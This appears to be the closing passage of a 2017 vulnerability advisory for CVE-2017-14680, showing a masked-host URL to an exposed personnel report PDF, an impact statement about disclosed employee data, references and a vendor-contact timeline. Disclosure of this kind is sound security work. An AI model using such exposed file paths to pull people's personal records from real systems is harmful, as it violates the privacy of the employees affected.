<http://xx.xx.xx.xx:8081/tmp/report_file/Personnel_20170820144239.pdf>
|
||||||
|
|
||||||
|
|
||||||
|
Impact:
|
||||||
|
Personal details pertaining to the employees of the company are disclosed
|
||||||
|
without their permissions. This leads to violation of user privacy.
|
||||||
|
Moreover the information available can be used to mount further attacks.
|
||||||
|
|
||||||
|
References:
|
||||||
|
http://seclists.org/fulldisclosure/2017/Sep/39
|
||||||
|
http://seclists.org/bugtraq/2017/Sep/20
|
||||||
|
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14680
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability Timeline:
|
||||||
|
18th August 2017 – Vulnerability Discovered
|
||||||
|
20th August 2017 – Contacted Vendor – No Response
|
||||||
|
1st September 2017 – Contacted Vendor again – No Response
|
||||||
|
18th September 2017 – Vulnerability Disclosed
|
||||||
Loading…
Add table
Reference in a new issue